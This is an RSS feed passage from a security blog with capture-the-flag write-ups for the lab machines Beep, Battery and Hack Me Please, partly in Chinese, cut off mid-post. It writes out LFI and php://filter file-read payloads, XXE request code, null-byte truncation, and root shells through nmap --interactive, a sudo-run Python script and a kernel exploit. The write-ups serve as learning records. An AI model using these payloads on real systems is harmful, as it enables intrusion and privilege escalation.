&lt;li&gt;Run LinPEAS&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8ecab-yxrx9q6.png"&gt;NFS Exploit?&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2b339-tp6ptzW.png"&gt;- Eterm SGID Binary?&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8826c-zAYCC6R.png"&gt;- nmap SUID !!Nmap GTFOBins- Shell (2) Interactive shellhttps://gtfobins.github.io/gtfobins/nmap/#suid&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nmap --interactive&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nmap&amp;gt; !sh&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d558f-Gw41QSr.png"&gt;Get Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bfccc-WXIvv23.png"&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Beep (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2021/09/05/beep-hack-the-box-writeup/</link><pubDate>Sun, 05 Sep 2021 13:40:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/05/beep-hack-the-box-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://app.hackthebox.eu/machines/Beep"&gt;https://app.hackthebox.eu/machines/Beep&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.129.1.226&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;80 port is a login pageElastix&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a5695-4GmV8sk.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="find-payload"&gt;Find Payload&lt;/h2&gt;
&lt;h3 id="lfi"&gt;LFI&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Elastix 2.2.0 - &amp;lsquo;graph.php&amp;rsquo; Local File Inclusionhttps://www.exploit-db.com/exploits/37637Try LFI- https://10.129.1.226/vtigercrm/graph.php?current_language=../../../../../../../etc/passwd%00&amp;amp;module=Accounts&amp;amp;action&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4e153-pgsp4Xx.png"&gt;With python request script, it will throw a exception, because the ssl version is toooo ol.- &lt;a href="https://stackoverflow.com/questions/32330919/python-ssl-ssl-sslerror-ssl-unsupported-protocol-unsupported-protocol-ssl"&gt;https://stackoverflow.com/questions/32330919/python-ssl-ssl-sslerror-ssl-unsupported-protocol-unsupported-protocol-ssl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Use this command to change the min version of TLS&lt;code&gt;sed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aec40-2GDgN7e.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="rce"&gt;RCE&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Find RCE Codehttps://github.com/infosecjunky/FreePBX-2.10.0&amp;mdash;Elastix-2.2.0&amp;mdash;Remote-Code-Execution/blob/master/exploit.pyTurn nc to receive reverse shell- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6b91e-5RWwCTM.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="privilege-escalation"&gt;Privilege Escalation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudo -l&lt;/code&gt; check , we can sudo &lt;code&gt;nmap&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e15ab-vhDoZgm.png"&gt;&lt;code&gt;sudo nmap --interactive&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Battery (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/09/02/battery-try-hack-me-writeup/</link><pubDate>Thu, 02 Sep 2021 23:51:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/02/battery-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL :　https://tryhackme.com/room/battery&lt;/p&gt;
&lt;p&gt;IP : 10.10.207.162&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 10.10.207.162 -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cc8f0-YI7brFj.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開22&lt;/li&gt;
&lt;li&gt;80&lt;code&gt;nmap -A -p22,80 10.10.207.162&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5cb29-fpTOJSl.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web"&gt;Web&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察首頁&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b8e98-kzK5QSI.png"&gt;掃路徑- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9c9e8-zW9T06O.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/forms&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/aab41-0BtjlCh.png"&gt;&lt;code&gt;/admin.php&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/68a4e-Yt1XqNk.png"&gt;發現 &lt;code&gt;/forms&lt;/code&gt; 把 Header 拔掉就不會自動跳轉- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d39ae-dBIg21Q.png"&gt;&lt;/li&gt;
&lt;li&gt;裡面傳送的資料是 XML ，可能可以 XXE&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3701-MnxLcgL.png"&gt;但沒有登入都失敗&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function &lt;span style="color:#50fa7b"&gt;XMLFunction&lt;/span&gt;(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;var&lt;/span&gt; xml &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; $(&amp;#39;#name&amp;#39;).&lt;span style="color:#50fa7b"&gt;val&lt;/span&gt;() &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; $(&amp;#39;#search&amp;#39;).&lt;span style="color:#50fa7b"&gt;val&lt;/span&gt;() &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &amp;#39;&amp;#39; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;#39;&amp;#39;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;var&lt;/span&gt; xmlhttp &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;new&lt;/span&gt; XMLHttpRequest();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xmlhttp.&lt;span style="color:#50fa7b"&gt;onreadystatechange&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; function () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt;(xmlhttp.&lt;span style="color:#50fa7b"&gt;readyState&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; 4){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.&lt;span style="color:#50fa7b"&gt;log&lt;/span&gt;(xmlhttp.&lt;span style="color:#50fa7b"&gt;readyState&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.&lt;span style="color:#50fa7b"&gt;log&lt;/span&gt;(xmlhttp.&lt;span style="color:#50fa7b"&gt;responseText&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; document.&lt;span style="color:#50fa7b"&gt;getElementById&lt;/span&gt;(&amp;#39;errorMessage&amp;#39;).&lt;span style="color:#50fa7b"&gt;innerHTML&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; xmlhttp.&lt;span style="color:#50fa7b"&gt;responseText&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xmlhttp.&lt;span style="color:#50fa7b"&gt;open&lt;/span&gt;(&lt;span style="color:#f1fa8c"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,&lt;span style="color:#f1fa8c"&gt;&amp;#34;forms.php&amp;#34;&lt;/span&gt;,&lt;span style="color:#ff79c6"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xmlhttp.&lt;span style="color:#50fa7b"&gt;send&lt;/span&gt;(xml);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;register.php&lt;/code&gt; 註冊一組帳密&lt;code&gt;meow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ABC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4f717-z1niZ8X.png"&gt;&lt;/li&gt;
&lt;li&gt;註冊成功&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b18ad-hqNbHMh.png"&gt;嘗試登入- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c3efc-Lo6rA6Z.png"&gt;&lt;/li&gt;
&lt;li&gt;使用介面上的功能&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a4018-o5zsYOs.png"&gt;&lt;/li&gt;
&lt;li&gt;發現不能使用再註冊一組- &lt;code&gt;meow1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DEF&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;meow1&lt;/code&gt;掃目錄- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8b15b-4zXmQmN.png"&gt;&lt;/li&gt;
&lt;li&gt;發現一個 &lt;code&gt;/report&lt;/code&gt;載下來發現是一個 ELF- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/54614-tQ07xT1.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="reverse"&gt;Reverse&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;選單&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5e4c4-0fPOAwu.png"&gt;使用者- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/24d95-45VYQ51.png"&gt;字串比較- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f1ca-e5GzGAk.png"&gt;更新- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/99078-LWMnjwK.png"&gt;&lt;/li&gt;
&lt;li&gt;這邊看到 &lt;code&gt;admin@bank.a&lt;/code&gt; 滿可疑的&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web-1"&gt;Web&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;嘗試註冊 &lt;code&gt;admin@bank.a&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dc8f7-ETydBcl.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9e857-z3FWmBy.png"&gt;被嘲諷ㄌQQ&lt;/li&gt;
&lt;li&gt;但這代表應該確實跟這個有關!!用 Burp 後面加上 &lt;code&gt;%00&lt;/code&gt; 截斷- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bef3d-Rz7ZLOk.png"&gt;註冊成功- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b70be-xpZQPEi.png"&gt;後台亂輸入都會噴錯- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3471e-1PJTJn7.png"&gt;重新試著 XXE- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6937d-jmnfWHX.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;function XMLFunction(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;var&lt;/span&gt; xml &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39; ]&amp;gt;&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\n&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;0&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&amp;amp;b;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;var&lt;/span&gt; xmlhttp &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; new XMLHttpRequest();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xmlhttp&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;onreadystatechange &lt;span style="color:#ff79c6"&gt;=&lt;/span&gt; function () {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;if&lt;/span&gt;(xmlhttp&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;readyState &lt;span style="color:#ff79c6"&gt;==&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;4&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;log(xmlhttp&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;readyState);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;log(xmlhttp&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;responseText);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xmlhttp&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;open(&lt;span style="color:#f1fa8c"&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,&lt;span style="color:#f1fa8c"&gt;&amp;#34;forms.php&amp;#34;&lt;/span&gt;,&lt;span style="font-style:italic"&gt;true&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; xmlhttp&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;send(xml);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;XMLFunction();
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;可以讀檔&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dd64e-Wfam6PO.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;yash:x:1002:1002:,,,:/home/yash:/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;看起來有興趣的使用者&lt;code&gt;cyber&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;yash&lt;/code&gt;讀取原始碼- &lt;code&gt;php://filter/convert.base64-encode/resource=/var/www/html/acc.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b86ed-EXkrQXL.png"&gt;&lt;/li&gt;
&lt;li&gt;找到註解上的密碼&lt;code&gt;//MY CREDS :- cyber:super#secure&amp;amp;password!&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d33d2-WhKKIPs.png"&gt;順利連上取得 Base Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8effd-3aOe5eP.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="提權"&gt;提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;起手式 &lt;code&gt;sudo -l&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ca4fd-OF32tzf.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以用 root 執行一個 &lt;code&gt;run.py``run.py&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ee3b7-fJIS0Oe.png"&gt;&lt;/li&gt;
&lt;li&gt;但我們沒有權限讀取他 QQ觀察原始碼- &lt;code&gt;admin.php&lt;/code&gt;找到 mysql 的帳密Dump Mysql- mysqldump -u root -h 127.0.0.1 -p details &amp;gt; a.sql&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/26c6a-6SQ3wdb.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ad245-EotjMMo.png"&gt;&lt;/li&gt;
&lt;li&gt;看到一組密碼&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9d7e1-amFWjRV.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;I_know_my_password&lt;/code&gt;但好像就沒有什麼進展了 QQ跑 Linpeas- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e4aa1-W4vdGzF.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 Linux Kernel 好像有點舊，可以用 Exploit&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/exploits/37292"&gt;https://www.exploit-db.com/exploits/37292&lt;/a&gt;試著載下來編譯執行- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ad3f8-H9YKMfY.png"&gt;&lt;/li&gt;
&lt;li&gt;就成功 Root ㄌFlag2- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5ba37-y95l3c8.png"&gt;Root Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c482-fAVwuni.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/eae5c-GBtAZjF.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="另外一種提權法"&gt;另外一種提權法&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;剛剛可以用 sudo 執行 &lt;code&gt;run.py&lt;/code&gt;但是沒有權限可以讀取但因為這是我的家目錄，所以我可以改檔名、新增檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a8531-Q9fWApP.png"&gt;所以自己創一個 &lt;code&gt;run.py&lt;/code&gt;- &lt;code&gt;import os&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;os.system(&amp;quot;/bin/bash&amp;quot;)&lt;/code&gt;再 sudo 它- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7b0ed-6O92JvY.png"&gt;&lt;/li&gt;
&lt;li&gt;也可以順利提權&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="學到ㄌ"&gt;學到ㄌ&lt;/h2&gt;
&lt;p&gt;%00 截斷&lt;br&gt;
XXE 記得加 ;&lt;/p&gt;</description></item><item><title>Hack Me Please (VulnHub Writeup)</title><link>http://blog.stevenyu.tw/2021/09/02/hack-me-please-vulnhub-writeup/</link><pubDate>Thu, 02 Sep 2021 23:11:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/02/hack-me-please-vulnhub-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://www.vulnhub.com/entry/hack-me-please-1,731/"&gt;https://www.vulnhub.com/entry/hack-me-please-1,731/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 192.168.1.111&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃 Port&lt;code&gt;rustscan -a 192.168.1.111&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3095b-GQ3XhCP.png"&gt;&lt;code&gt;nmap -A -p80,3306,33060 192.168.1.111&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8cf4d-NgbBNJB.png"&gt;掃 Dir- &lt;code&gt;python3 dirsearch.py -u http://192.168.1.111/&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/25d9f-nC8b3F5.png"&gt;&lt;/li&gt;
&lt;li&gt;看不出啥特別ㄉ觀察首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/52d77-qfWookP.png"&gt;觀察 &lt;code&gt;main.js&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6a55e-Gnuznh1.png"&gt;&lt;/li&gt;
&lt;li&gt;發現註解寫了一個 &lt;code&gt;/seeddms51x/seeddms-5.1.22&lt;/code&gt; 的路徑&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5dc94-mUDfth8.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dms"&gt;DMS&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;掃路徑發現有 &lt;code&gt;install&lt;/code&gt; 等資訊&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e0a7a-zidhCez.png"&gt;觀察原始碼- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2a7ed-fb02TAU.png"&gt;&lt;/li&gt;
&lt;li&gt;到 SorceForge 下載原始碼觀察路徑- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/81fb6-Ry12QOc.png"&gt;&lt;/li&gt;
&lt;li&gt;發現路徑內有 &lt;code&gt;/conf/&lt;/code&gt; 可能有重要的資訊&lt;code&gt;/conf/settings.xml&lt;/code&gt; 可以存取- 裡面找到 mysql 的帳密 &lt;code&gt;seeddms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="mysql"&gt;MySQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;進行 MySQL 連線&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/70ebc-9kPLyD2.png"&gt;觀察 DB- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/740d1-1949mIG.png"&gt;觀察表格- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c5b0f-tKUTHXI.png"&gt;&lt;code&gt;users&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a95c4-pw1MWYq.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/68521-GibIYc2.png"&gt;&lt;/li&gt;
&lt;li&gt;找到一組帳密&lt;code&gt;saket&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;saurav&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Saket@#$1337&lt;/code&gt;但登入 DMS 失敗找到 &lt;code&gt;tblUsers&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/49c25-3tdrjpv.png"&gt;&lt;/li&gt;
&lt;li&gt;分析 hash&lt;/li&gt;
